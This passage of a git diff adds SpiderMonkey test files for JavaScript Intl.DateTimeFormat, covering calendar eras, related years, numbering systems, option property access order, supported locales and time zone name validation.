+ [ {year: 2016, month: 10, day: 2}, {year: 1438, month: 1, day: 1} ],
+ [ {year: 2016, month: 11, day: 1}, {year: 1438, month: 2, day: 1} ],
+ [ {year: 2016, month: 11, day: 30}, {year: 1438, month: 3, day: 1} ],
+ [ {year: 2016, month: 12, day: 30}, {year: 1438, month: 4, day: 1} ],
+ ];
+
+ for (var [gregorian, ummAlQura] of dates) {
+ var date = new Date(Date.UTC(gregorian.year, gregorian.month - 1, gregorian.day));
+
+ // Use parseInt() to remove the trailing era indicator.
+ assertEq(parseInt(ummAlQuraDate(year, date), 10), ummAlQura.year);
+ assertEq(Number(ummAlQuraDate(month, date)), ummAlQura.month);
+ assertEq(Number(ummAlQuraDate(day, date)), ummAlQura.day);
+ }
+}
+
+testIslamicTbla();
+testIslamicRgsa();
+testIslamicUmalqura();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/japanese-gannen-year.js b/js/src/tests/non262/Intl/DateTimeFormat/japanese-gannen-year.js
new file mode 100644
index 0000000000..81ee054b0a
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/japanese-gannen-year.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+var dtf = new Intl.DateTimeFormat("ja-u-ca-japanese", {
+ era: "short",
+ timeZone: "Asia/Tokyo",
+});
+
+var endShowa = new Date("1989-01-07T00:00:00.000Z");
+var startHeisei = new Date("1989-01-08T00:00:00.000Z");
+
+assertEq(dtf.format(endShowa), "昭和64年1月7日");
+assertEq(dtf.format(startHeisei), "平成元年1月8日");
+
+var parts = dtf.formatToParts(startHeisei);
+assertEq(parts.filter(p => p.type === "era")[0].value, "平成");
+assertEq(parts.filter(p => p.type === "year")[0].value, "元");
+
+// ICU returns mixed numbers when an explicit numbering system is present.
+
+var dtf = new Intl.DateTimeFormat("ja-u-ca-japanese-nu-arab", {
+ era: "short",
+ timeZone: "Asia/Tokyo",
+});
+
+assertEq(dtf.format(endShowa), "昭和64年١月٧日");
+assertEq(dtf.format(startHeisei), "平成元年١月٨日");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/mozExtensions.js b/js/src/tests/non262/Intl/DateTimeFormat/mozExtensions.js
new file mode 100644
index 0000000000..7db314d413
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/mozExtensions.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||!this.hasOwnProperty("addIntlExtras"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+let mozIntl = {};
+addIntlExtras(mozIntl);
+
+// Pattern
+
+var dtf = new Intl.DateTimeFormat("en-US", {pattern: "HH:mm MM/dd/YYYY"});
+var mozDtf = new mozIntl.DateTimeFormat("en-US", {pattern: "HH:mm MM/dd/YYYY"});
+
+assertEq(dtf.resolvedOptions().hasOwnProperty('pattern'), false);
+assertEq(mozDtf.resolvedOptions().pattern, "HH:mm MM/dd/YYYY");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/numberingSystem-option.js b/js/src/tests/non262/Intl/DateTimeFormat/numberingSystem-option.js
new file mode 100644
index 0000000000..474910da47
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/numberingSystem-option.js
@@ -0,0 +1,60 @@
+const defaultLocale = "en";
+const defaultNumberingSystem = new Intl.DateTimeFormat(defaultLocale).resolvedOptions().numberingSystem;
+
+function createWithLocale(locale, numberingSystem) {
+ return new Intl.DateTimeFormat(locale, {numberingSystem});
+}
+
+function create(numberingSystem) {
+ return createWithLocale(defaultLocale, numberingSystem);
+}
+
+// Empty string should throw.
+assertThrowsInstanceOf(() => create(""), RangeError);
+
+// Trailing \0 should throw.
+assertThrowsInstanceOf(() => create("latn\0"), RangeError);
+
+// Too short or too long strings should throw.
+assertThrowsInstanceOf(() => create("a"), RangeError);
+assertThrowsInstanceOf(() => create("toolongstring"), RangeError);
+
+// Throw even when prefix is valid.
+assertThrowsInstanceOf(() => create("latn-toolongstring"), RangeError);
+
+// |numberingSystem| can be set to |undefined|.
+let dtf = create(undefined);
+assertEq(dtf.resolvedOptions().numberingSystem, defaultNumberingSystem);
+
+// Unsupported numbering systems are ignored.
+dtf = create("xxxxxxxx");
+assertEq(dtf.resolvedOptions().numberingSystem, defaultNumberingSystem);
+
+// Numbering system in options overwrite Unicode extension keyword.
+dtf = createWithLocale(`${defaultLocale}-u-nu-thai`, "arab");
+assertEq(dtf.resolvedOptions().locale, defaultLocale);
+assertEq(dtf.resolvedOptions().numberingSystem, "arab");
+
+// |numberingSystem| option ignores case.
+dtf = create("ARAB");
+assertEq(dtf.resolvedOptions().locale, defaultLocale);
+assertEq(dtf.resolvedOptions().numberingSystem, "arab");
+
+for (let [numberingSystem, {algorithmic}] of Object.entries(numberingSystems)) {
+ let dtf1 = new Intl.DateTimeFormat(`${defaultLocale}-u-nu-${numberingSystem}`);
+ let dtf2 = new Intl.DateTimeFormat(defaultLocale, {numberingSystem});
+
+ if (!algorithmic) {
+ assertEq(dtf1.resolvedOptions().numberingSystem, numberingSystem);
+ assertEq(dtf2.resolvedOptions().numberingSystem, numberingSystem);
+ } else {
+ // We don't yet support algorithmic numbering systems.
+ assertEq(dtf1.resolvedOptions().numberingSystem, defaultNumberingSystem);
+ assertEq(dtf2.resolvedOptions().numberingSystem, defaultNumberingSystem);
+ }
+
+ assertEq(dtf2.format(0), dtf1.format(0));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/options-property-accesses.js b/js/src/tests/non262/Intl/DateTimeFormat/options-property-accesses.js
new file mode 100644
index 0000000000..72e896fcae
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/options-property-accesses.js
@@ -0,0 +1,85 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+if (typeof getBuildConfiguration === "undefined") {
+ var getBuildConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getBuildConfiguration;
+}
+
+var isNightly = !getBuildConfiguration().release_or_beta;
+
+var log;
+var proxy = new Proxy({
+ year: "numeric",
+ hour: "numeric",
+}, new Proxy({
+ get(t, pk, r) {
+ log.push(pk);
+ return Reflect.get(t, pk, r);
+ }
+}, {
+ get(t, pk, r) {
+ assertEq(pk, "get");
+ return Reflect.get(t, pk, r);
+ }
+}));
+
+var dayPeriod = isNightly ? ["dayPeriod"] : [];
+
+var constructorAccesses = [
+ // ToDateTimeOptions(options, "any", "date").
+ "weekday", "year", "month", "day",
+ ...dayPeriod, "hour", "minute", "second", "fractionalSecondDigits",
+ "dateStyle", "timeStyle",
+
+ // InitializeDateTimeFormat
+ "localeMatcher", "calendar", "numberingSystem", "hour12", "hourCycle", "timeZone",
+
+ // Table 5: Components of date and time formats
+ "weekday", "era", "year", "month", "day", ...dayPeriod, "hour", "minute", "second",
+ "fractionalSecondDigits", "timeZoneName",
+
+ // InitializeDateTimeFormat
+ "formatMatcher",
+ "dateStyle", "timeStyle",
+];
+
+log = [];
+new Intl.DateTimeFormat(undefined, proxy);
+
+assertEqArray(log, constructorAccesses);
+
+log = [];
+new Date().toLocaleString(undefined, proxy);
+
+assertEqArray(log, [
+ // ToDateTimeOptions(options, "any", "all").
+ "weekday", "year", "month", "day",
+ ...dayPeriod, "hour", "minute", "second", "fractionalSecondDigits",
+ "dateStyle", "timeStyle",
+
+ ...constructorAccesses
+]);
+
+log = [];
+new Date().toLocaleDateString(undefined, proxy);
+
+assertEqArray(log, [
+ // ToDateTimeOptions(options, "date", "date").
+ "weekday", "year", "month", "day",
+ "dateStyle", "timeStyle",
+
+ ...constructorAccesses
+]);
+
+log = [];
+new Date().toLocaleTimeString(undefined, proxy);
+
+assertEqArray(log, [
+ // ToDateTimeOptions(options, "time", "time").
+ ...dayPeriod, "hour", "minute", "second", "fractionalSecondDigits",
+ "dateStyle", "timeStyle",
+
+ ...constructorAccesses
+]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/related-year.js b/js/src/tests/non262/Intl/DateTimeFormat/related-year.js
new file mode 100644
index 0000000000..2c2e111d0a
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/related-year.js
@@ -0,0 +1,185 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Era, Year, YearName, RelatedYear, Month, Day, Literal
+} = DateTimeFormatParts
+
+const tests = [
+ // Test with non-leap month.
+ {
+ date: new Date("2020-04-23T00:00:00Z"),
+ options: {},
+ calendar: "chinese",
+ locales: {
+ "en": [Month("4"), Literal("/"), Day("1"), Literal("/"), RelatedYear("2020")],
+ "de": [Day("1"), Literal("."), Month("4"), Literal("."), Year("37")],
+ "ja": [YearName("庚子"), Literal("年"), Month("4"), Literal("月"), Day("1"), Literal("日")],
+ "zh": [RelatedYear("2020"), Literal("年"), Month("四月"), Day("1")],
+ "ar": [RelatedYear("٢٠٢٠"), Literal("-"), Month("٠٤"), Literal("-"), Day("٠١")],
+ }
+ },
+
+ // Test with leap month.
+ {
+ date: new Date("2020-05-23T00:00:00Z"),
+ options: {},
+ calendar: "chinese",
+ locales: {
+ "en": [Month("4bis"), Literal("/"), Day("1"), Literal("/"), RelatedYear("2020")],
+ "de": [Day("1"), Literal("."), Month("4bis"), Literal("."), Year("37")],
+ "ja": [YearName("庚子"), Literal("年"), Month("閏4"), Literal("月"), Day("1"), Literal("日")],
+ "zh": [RelatedYear("2020"), Literal("年"), Month("闰四月"), Day("1")],
+ "ar": [RelatedYear("٢٠٢٠"), Literal("-"), Month("٠٤bis"), Literal("-"), Day("٠١")],
+ }
+ },
+
+ // Display only "year" field.
+ {
+ date: new Date("2020-04-23T00:00:00Z"),
+ options: {year: "numeric"},
+ calendar: "chinese",
+ locales: {
+ "en": [RelatedYear("2020"), Literal("("), YearName("geng-zi"), Literal(")")],
+ "de": [YearName("geng-zi")],
+ "ja": [YearName("庚子"), Literal("年")],
+ "zh": [RelatedYear("2020"), YearName("庚子"), Literal("年")],
+ "ar": [Year("٣٧")],
+ }
+ },
+
+ // Display only "month" field.
+ {
+ date: new Date("2020-04-23T00:00:00Z"),
+ options: {month: "long"},
+ calendar: "chinese",
+ locales: {
+ "en": [Month("Fourth Month")],
+ "de": [Month("M04")],
+ "ja": [Month("四月")],
+ "zh": [Month("四月")],
+ "ar": [Month("M04")],
+ }
+ },
+
+ // Display only "month" field. (Leap month)
+ {
+ date: new Date("2020-05-23T00:00:00Z"),
+ options: {month: "long"},
+ calendar: "chinese",
+ locales: {
+ "en": [Month("Fourth Monthbis")],
+ "de": [Month("M04bis")],
+ "ja": [Month("閏四月")],
+ "zh": [Month("闰四月")],
+ "ar": [Month("M04bis")],
+ }
+ },
+
+ // Display "year" and "month" fields.
+ {
+ date: new Date("2020-04-23T00:00:00Z"),
+ options: {year: "numeric", month: "long"},
+ calendar: "chinese",
+ locales: {
+ "en": [Month("Fourth Month"), Literal(" "), RelatedYear("2020"), Literal("("), YearName("geng-zi"), Literal(")")],
+ "de": [Month("M04"), Literal(" "), YearName("geng-zi")],
+ "ja": [YearName("庚子"), Literal("年"), Month("四月")],
+ "zh": [RelatedYear("2020"), YearName("庚子"), Literal("年"), Month("四月")],
+ "ar": [RelatedYear("٢٠٢٠"), Literal("("), YearName("geng-zi"), Literal(") "), Month("M04")],
+ }
+ },
+
+ // Display "year" and "month" fields. (Leap month)
+ {
+ date: new Date("2020-05-23T00:00:00Z"),
+ options: {year: "numeric", month: "long"},
+ calendar: "chinese",
+ locales: {
+ "en": [Month("Fourth Monthbis"), Literal(" "), RelatedYear("2020"), Literal("("), YearName("geng-zi"), Literal(")")],
+ "de": [Month("M04bis"), Literal(" "), YearName("geng-zi")],
+ "ja": [YearName("庚子"), Literal("年"), Month("閏四月")],
+ "zh": [RelatedYear("2020"), YearName("庚子"), Literal("年"), Month("闰四月")],
+ "ar": [RelatedYear("٢٠٢٠"), Literal("("), YearName("geng-zi"), Literal(") "), Month("M04bis")],
+ }
+ },
+
+ // Related year in traditional Korean calendar.
+ {
+ date: new Date("2019-01-01T00:00:00Z"),
+ options: {},
+ calendar: "dangi",
+ locales: {
+ "en": [Month("11"), Literal("/"), Day("26"), Literal("/"), RelatedYear("2018")],
+ "ko": [RelatedYear("2018"), Literal(". "), Month("11"), Literal(". "), Day("26"), Literal(".")],
+ }
+ },
+
+ // Allowing the calendar to modify the pattern selection choice can result in falling back to
+ // the root locale patterns in more cases. That can result in displaying the era field by
+ // default, among other things.
+ {
+ date: new Date("2019-01-01T00:00:00Z"),
+ options: {},
+ calendar: "buddhist",
+ locales: {
+ "en": [Month("1"), Literal("/"), Day("1"), Literal("/"), Year("2562"), Literal(" "), Era("BE")],
+ "th": [Day("1"), Literal("/"), Month("1"), Literal("/"), Year("2562")],
+ }
+ },
+ {
+ date: new Date("2019-01-01T00:00:00Z"),
+ options: {},
+ calendar: "hebrew",
+ locales: {
+ "en": [Day("24"), Literal(" "), Month("Tevet"), Literal(" "), Year("5779")],
+ "he": [Day("24"), Literal(" ב"), Month("טבת"), Literal(" "), Year("5779")],
+ "fr": [Day("24"), Literal("/"), Month("4"), Literal("/"), Year("5779"), Literal(" "), Era("A. M.")],
+ }
+ },
+ {
+ date: new Date("2019-01-01T00:00:00Z"),
+ options: {},
+ calendar: "islamic",
+ locales: {
+ "en": [Month("4"), Literal("/"), Day("25"), Literal("/"), Year("1440"), Literal(" "), Era("AH")],
+ "ar": [Day("٢٥"), Literal("\u200F/"), Month("٤"), Literal("\u200F/"), Year("١٤٤٠"), Literal(" "), Era("هـ")],
+ }
+ },
+ {
+ date: new Date("2019-01-01T00:00:00Z"),
+ options: {},
+ calendar: "japanese",
+ locales: {
+ "en": [Month("1"), Literal("/"), Day("1"), Literal("/"), Year("31"), Literal(" "), Era("H")],
+ "ja": [Era("H"), Year("31"), Literal("/"), Month("1"), Literal("/"), Day("1")],
+ }
+ },
+ {
+ date: new Date("2019-01-01T00:00:00Z"),
+ options: {},
+ calendar: "persian",
+ locales: {
+ "en": [Month("10"), Literal("/"), Day("11"), Literal("/"), Year("1397"), Literal(" "), Era("AP")],
+ "fa": [Year("۱۳۹۷"), Literal("/"), Month("۱۰"), Literal("/"), Day("۱۱")],
+ }
+ },
+ {
+ date: new Date("2019-01-01T00:00:00Z"),
+ options: {},
+ calendar: "roc",
+ locales: {
+ "en": [Month("1"), Literal("/"), Day("1"), Literal("/"), Year("108"), Literal(" "), Era("Minguo")],
+ "zh-Hant-TW": [Era("民國"), Year("108"), Literal("/"), Month("1"), Literal("/"), Day("1")],
+ }
+ },
+];
+
+for (let {date, options, calendar, locales} of tests) {
+ for (let [locale, result] of Object.entries(locales)) {
+ let df = new Intl.DateTimeFormat(`${locale}-u-ca-${calendar}`, {timeZone: "UTC", ...options});
+ assertParts(df, date, result);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/shell.js b/js/src/tests/non262/Intl/DateTimeFormat/shell.js
new file mode 100644
index 0000000000..c2f9e7138b
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/shell.js
@@ -0,0 +1,34 @@
+function GenericPartCreator(type) {
+ return str => ({ type, value: str });
+}
+
+const DateTimeFormatParts = {
+ Weekday: GenericPartCreator("weekday"),
+ Era: GenericPartCreator("era"),
+ Year: GenericPartCreator("year"),
+ YearName: GenericPartCreator("yearName"),
+ RelatedYear: GenericPartCreator("relatedYear"),
+ Month: GenericPartCreator("month"),
+ Day: GenericPartCreator("day"),
+ DayPeriod: GenericPartCreator("dayPeriod"),
+ Hour: GenericPartCreator("hour"),
+ Minute: GenericPartCreator("minute"),
+ Second: GenericPartCreator("second"),
+ FractionalSecond: GenericPartCreator("fractionalSecond"),
+ TimeZoneName: GenericPartCreator("timeZoneName"),
+ Unknown: GenericPartCreator("unknown"),
+ Literal: GenericPartCreator("literal"),
+};
+
+function assertParts(df, x, expected) {
+ var parts = df.formatToParts(x);
+ assertEq(parts.map(part => part.value).join(""), df.format(x),
+ "formatToParts and format must agree");
+
+ var len = parts.length;
+ assertEq(len, expected.length, "parts count mismatch");
+ for (var i = 0; i < len; i++) {
+ assertEq(parts[i].type, expected[i].type, "type mismatch at " + i);
+ assertEq(parts[i].value, expected[i].value, "value mismatch at " + i);
+ }
+}
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/standalone-month.js b/js/src/tests/non262/Intl/DateTimeFormat/standalone-month.js
new file mode 100644
index 0000000000..c8aab5888e
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/standalone-month.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+for (let weekday of ["long", "short", "narrow"]) {
+ let dtf = new Intl.DateTimeFormat("en", {weekday});
+ let options = dtf.resolvedOptions();
+
+ assertEq(options.weekday, weekday);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/supportedLocalesOf.js b/js/src/tests/non262/Intl/DateTimeFormat/supportedLocalesOf.js
new file mode 100644
index 0000000000..b957f9cd60
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/supportedLocalesOf.js
@@ -0,0 +1,371 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||xulRuntime.shell)
+// -- test in browser only that ICU has locale data for all Mozilla languages
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// This array contains the locales that ICU supports in
+// date and time formatting whose languages Mozilla localizes Firefox into.
+// Current as of ICU 50.1.2 and Firefox March 2013.
+var locales = [
+ "af",
+ "af-NA",
+ "af-ZA",
+ "ar",
+ "ar-001",
+ "ar-AE",
+ "ar-BH",
+ "ar-DJ",
+ "ar-DZ",
+ "ar-EG",
+ "ar-EH",
+ "ar-ER",
+ "ar-IL",
+ "ar-IQ",
+ "ar-JO",
+ "ar-KM",
+ "ar-KW",
+ "ar-LB",
+ "ar-LY",
+ "ar-MA",
+ "ar-MR",
+ "ar-OM",
+ "ar-PS",
+ "ar-QA",
+ "ar-SA",
+ "ar-SD",
+ "ar-SO",
+ "ar-SY",
+ "ar-TD",
+ "ar-TN",
+ "ar-YE",
+ "as",
+ "as-IN",
+ "be",
+ "be-BY",
+ "bg",
+ "bg-BG",
+ "bn",
+ "bn-BD",
+ "bn-IN",
+ "br",
+ "br-FR",
+ "bs",
+ "bs-Cyrl",
+ "bs-Cyrl-BA",
+ "bs-Latn",
+ "bs-Latn-BA",
+ "ca",
+ "ca-AD",
+ "ca-ES",
+ "cs",
+ "cs-CZ",
+ "cy",
+ "cy-GB",
+ "da",
+ "da-DK",
+ "de",
+ "de-AT",
+ "de-BE",
+ "de-CH",
+ "de-DE",
+ "de-LI",
+ "de-LU",
+ "el",
+ "el-CY",
+ "el-GR",
+ "en",
+ "en-150",
+ "en-AG",
+ "en-AS",
+ "en-AU",
+ "en-BB",
+ "en-BE",
+ "en-BM",
+ "en-BS",
+ "en-BW",
+ "en-BZ",
+ "en-CA",
+ "en-CM",
+ "en-DM",
+ "en-FJ",
+ "en-FM",
+ "en-GB",
+ "en-GD",
+ "en-GG",
+ "en-GH",
+ "en-GI",
+ "en-GM",
+ "en-GU",
+ "en-GY",
+ "en-HK",
+ "en-IE",
+ "en-IM",
+ "en-IN",
+ "en-JE",
+ "en-JM",
+ "en-KE",
+ "en-KI",
+ "en-KN",
+ "en-KY",
+ "en-LC",
+ "en-LR",
+ "en-LS",
+ "en-MG",
+ "en-MH",
+ "en-MP",
+ "en-MT",
+ "en-MU",
+ "en-MW",
+ "en-NA",
+ "en-NG",
+ "en-NZ",
+ "en-PG",
+ "en-PH",
+ "en-PK",
+ "en-PR",
+ "en-PW",
+ "en-SB",
+ "en-SC",
+ "en-SG",
+ "en-SL",
+ "en-SS",
+ "en-SZ",
+ "en-TC",
+ "en-TO",
+ "en-TT",
+ "en-TZ",
+ "en-UG",
+ "en-UM",
+ "en-US",
+ "en-US-POSIX",
+ "en-VC",
+ "en-VG",
+ "en-VI",
+ "en-VU",
+ "en-WS",
+ "en-ZA",
+ "en-ZM",
+ "en-ZW",
+ "eo",
+ "es",
+ "es-419",
+ "es-AR",
+ "es-BO",
+ "es-CL",
+ "es-CO",
+ "es-CR",
+ "es-CU",
+ "es-DO",
+ "es-EA",
+ "es-EC",
+ "es-ES",
+ "es-GQ",
+ "es-GT",
+ "es-HN",
+ "es-IC",
+ "es-MX",
+ "es-NI",
+ "es-PA",
+ "es-PE",
+ "es-PH",
+ "es-PR",
+ "es-PY",
+ "es-SV",
+ "es-US",
+ "es-UY",
+ "es-VE",
+ "et",
+ "et-EE",
+ "eu",
+ "eu-ES",
+ "fa",
+ "fa-AF",
+ "fa-IR",
+ "ff",
+ "ff-SN",
+ "fi",
+ "fi-FI",
+ "fr",
+ "fr-BE",
+ "fr-BF",
+ "fr-BI",
+ "fr-BJ",
+ "fr-BL",
+ "fr-CA",
+ "fr-CD",
+ "fr-CF",
+ "fr-CG",
+ "fr-CH",
+ "fr-CI",
+ "fr-CM",
+ "fr-DJ",
+ "fr-DZ",
+ "fr-FR",
+ "fr-GA",
+ "fr-GF",
+ "fr-GN",
+ "fr-GP",
+ "fr-GQ",
+ "fr-HT",
+ "fr-KM",
+ "fr-LU",
+ "fr-MA",
+ "fr-MC",
+ "fr-MF",
+ "fr-MG",
+ "fr-ML",
+ "fr-MQ",
+ "fr-MR",
+ "fr-MU",
+ "fr-NC",
+ "fr-NE",
+ "fr-PF",
+ "fr-RE",
+ "fr-RW",
+ "fr-SC",
+ "fr-SN",
+ "fr-SY",
+ "fr-TD",
+ "fr-TG",
+ "fr-TN",
+ "fr-VU",
+ "fr-YT",
+ "ga",
+ "ga-IE",
+ "gl",
+ "gl-ES",
+ "gu",
+ "gu-IN",
+ "he",
+ "he-IL",
+ "hi",
+ "hi-IN",
+ "hr",
+ "hr-BA",
+ "hr-HR",
+ "hu",
+ "hu-HU",
+ "hy",
+ "hy-AM",
+ "id",
+ "id-ID",
+ "is",
+ "is-IS",
+ "it",
+ "it-CH",
+ "it-IT",
+ "it-SM",
+ "ja",
+ "ja-JP",
+ "kk",
+ "kk-Cyrl",
+ "kk-Cyrl-KZ",
+ "km",
+ "km-KH",
+ "kn",
+ "kn-IN",
+ "ko",
+ "ko-KP",
+ "ko-KR",
+ "lt",
+ "lt-LT",
+ "lv",
+ "lv-LV",
+ "mk",
+ "mk-MK",
+ "ml",
+ "ml-IN",
+ "mr",
+ "mr-IN",
+ "nb",
+ "nb-NO",
+ "nl",
+ "nl-AW",
+ "nl-BE",
+ "nl-CW",
+ "nl-NL",
+ "nl-SR",
+ "nl-SX",
+ "nn",
+ "nn-NO",
+ "or",
+ "or-IN",
+ "pa",
+ "pa-Arab",
+ "pa-Arab-PK",
+ "pa-Guru",
+ "pa-Guru-IN",
+ "pl",
+ "pl-PL",
+ "pt",
+ "pt-AO",
+ "pt-BR",
+ "pt-CV",
+ "pt-GW",
+ "pt-MO",
+ "pt-MZ",
+ "pt-PT",
+ "pt-ST",
+ "pt-TL",
+ "rm",
+ "rm-CH",
+ "ro",
+ "ro-MD",
+ "ro-RO",
+ "ru",
+ "ru-BY",
+ "ru-KG",
+ "ru-KZ",
+ "ru-MD",
+ "ru-RU",
+ "ru-UA",
+ "si",
+ "si-LK",
+ "sk",
+ "sk-SK",
+ "sl",
+ "sl-SI",
+ "sq",
+ "sq-AL",
+ "sq-MK",
+ "sr",
+ "sr-Cyrl",
+ "sr-Cyrl-BA",
+ "sr-Cyrl-ME",
+ "sr-Cyrl-RS",
+ "sr-Latn",
+ "sr-Latn-BA",
+ "sr-Latn-ME",
+ "sr-Latn-RS",
+ "sv",
+ "sv-AX",
+ "sv-FI",
+ "sv-SE",
+ "te",
+ "te-IN",
+ "th",
+ "th-TH",
+ "tr",
+ "tr-CY",
+ "tr-TR",
+ "uk",
+ "uk-UA",
+ "vi",
+ "vi-VN",
+ "zh",
+ "zh-Hans",
+ "zh-Hans-CN",
+ "zh-Hans-HK",
+ "zh-Hans-MO",
+ "zh-Hans-SG",
+ "zh-Hant",
+ "zh-Hant-HK",
+ "zh-Hant-MO",
+ "zh-Hant-TW",
+];
+
+var count = Intl.DateTimeFormat.supportedLocalesOf(locales).length;
+
+reportCompare(locales.length, count, "Number of supported locales in Intl.DateTimeFormat");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/timeZone.js b/js/src/tests/non262/Intl/DateTimeFormat/timeZone.js
new file mode 100644
index 0000000000..eca6ed27ee
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/timeZone.js
@@ -0,0 +1,139 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+
+const utcTimeZones = [
+ // Etc/UTC and Etc/GMT are normalized to UTC.
+ "Etc/UTC", "Etc/GMT",
+
+ // Links to Etc/GMT. (tzdata/etcetera)
+ "GMT", "Etc/Greenwich", "Etc/GMT-0", "Etc/GMT+0", "Etc/GMT0",
+
+ // Links to Etc/UTC. (tzdata/etcetera)
+ "Etc/Universal", "Etc/Zulu",
+
+ // Links to Etc/GMT. (tzdata/backward)
+ "GMT+0", "GMT-0", "GMT0", "Greenwich",
+
+ // Links to Etc/UTC. (tzdata/backward)
+ "UTC", "Universal", "Zulu", "Etc/UCT", "UCT",
+];
+
+for (let timeZone of utcTimeZones) {
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(timeZone)});
+ assertEq(dtf.resolvedOptions().timeZone, "UTC");
+ }
+}
+
+
+const invalidTimeZones = [
+ "", "null", "undefined", "UTC\0",
+
+ // ICU time zone name for invalid time zones.
+ "Etc/Unknown",
+
+ // ICU custom time zones.
+ "GMT-1", "GMT+1", "GMT-10", "GMT+10",
+ "GMT-10:00", "GMT+10:00",
+ "GMT-1000", "GMT+1000",
+
+ // Legacy ICU time zones.
+ "ACT", "AET", "AGT", "ART", "AST", "BET", "BST", "CAT", "CNT", "CST",
+ "CTT", "EAT", "ECT", "IET", "IST", "JST", "MIT", "NET", "NST", "PLT",
+ "PNT", "PRT", "PST", "SST", "VST",
+
+ // Deprecated IANA time zones.
+ "SystemV/AST4ADT", "SystemV/EST5EDT", "SystemV/CST6CDT", "SystemV/MST7MDT",
+ "SystemV/PST8PDT", "SystemV/YST9YDT", "SystemV/AST4", "SystemV/EST5",
+ "SystemV/CST6", "SystemV/MST7", "SystemV/PST8", "SystemV/YST9", "SystemV/HST10",
+];
+
+for (let timeZone of invalidTimeZones) {
+ for (let map of tzMapper) {
+ assertThrowsInstanceOf(() => {
+ new Intl.DateTimeFormat(undefined, {timeZone: map(timeZone)});
+ }, RangeError);
+ }
+}
+
+
+// GMT[+-]hh is invalid, but Etc/GMT[+-]hh is a valid IANA time zone.
+for (let gmtOffset = -14; gmtOffset <= 12; ++gmtOffset) {
+ // Skip Etc/GMT0.
+ if (gmtOffset === 0)
+ continue;
+
+ let timeZone = `Etc/GMT${gmtOffset > 0 ? "+" : ""}${gmtOffset}`;
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(timeZone)});
+ assertEq(dtf.resolvedOptions().timeZone, timeZone);
+ }
+}
+
+
+const invalidEtcGMTNames = [
+ // Out of bounds GMT offset.
+ "Etc/GMT-15", "Etc/GMT+13",
+
+ // Etc/GMT[+-]hh:mm isn't a IANA time zone name.
+ "Etc/GMT-10:00", "Etc/GMT+10:00",
+ "Etc/GMT-1000", "Etc/GMT+1000",
+];
+
+for (let timeZone of invalidEtcGMTNames) {
+ for (let map of tzMapper) {
+ assertThrowsInstanceOf(() => {
+ new Intl.DateTimeFormat(undefined, {timeZone: map(timeZone)});
+ }, RangeError);
+ }
+}
+
+
+// RangeError is thrown for primitive values, because ToString(<primitive>)
+// isn't a valid time zone name.
+for (let nonStrings of [null, 0, 0.5, true, false]) {
+ assertThrowsInstanceOf(() => {
+ new Intl.DateTimeFormat(undefined, {timeZone: nonStrings});
+ }, RangeError);
+}
+
+// ToString(<symbol>) throws TypeError.
+assertThrowsInstanceOf(() => {
+ new Intl.DateTimeFormat(undefined, {timeZone: Symbol()});
+}, TypeError);
+
+// |undefined| or absent "timeZone" option selects the default time zone.
+{
+ let {timeZone: tzAbsent} = new Intl.DateTimeFormat(undefined, {}).resolvedOptions();
+ let {timeZone: tzUndefined} = new Intl.DateTimeFormat(undefined, {timeZone: undefined}).resolvedOptions();
+
+ assertEq(typeof tzAbsent, "string");
+ assertEq(typeof tzUndefined, "string");
+ assertEq(tzUndefined, tzAbsent);
+
+ // The default time zone isn't a link name.
+ let {timeZone: tzDefault} = new Intl.DateTimeFormat(undefined, {timeZone: tzAbsent}).resolvedOptions();
+ assertEq(tzDefault, tzAbsent);
+}
+
+// Objects are converted through ToString().
+{
+ let timeZone = "Europe/Warsaw";
+ let obj = {
+ toString() {
+ return timeZone;
+ }
+ };
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: obj});
+ assertEq(dtf.resolvedOptions().timeZone, timeZone);
+}
+
+
